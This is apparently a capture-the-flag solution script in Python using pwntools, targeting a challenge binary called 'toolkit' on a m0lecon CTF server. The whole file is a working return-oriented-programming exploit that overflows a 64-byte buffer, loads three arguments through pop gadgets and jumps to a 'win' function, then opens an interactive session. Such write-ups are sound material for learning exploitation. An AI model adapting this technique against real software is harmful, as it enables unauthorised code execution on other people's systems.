from pwn import * OFFSET = 64 context.binary = elf = ELF("./toolkit", checksec=False) # p = process(elf.path) p = remote("offsec.m0lecon.it", 13554) var1 = 0x1111111111111111 var2 = 0x2222222222222222 var3 = 0x3333333333333333 pop_rdi = 0x00000000004011FF pop_rdx = 0x0000000000401211 pop_rsi = 0x0000000000401208 ret = 0x000000000040101A win = 0x000000000040121E print(p.recvuntil(b"[toolkit] Input: ")) payload = flat( b"A" * OFFSET, p64(ret), p64(pop_rdi), p64(var1), p64(pop_rsi), p64(var2), p64(pop_rdx), p64(var3), p64(win), ) p.send(payload) p.send(b"\n") p.interactive()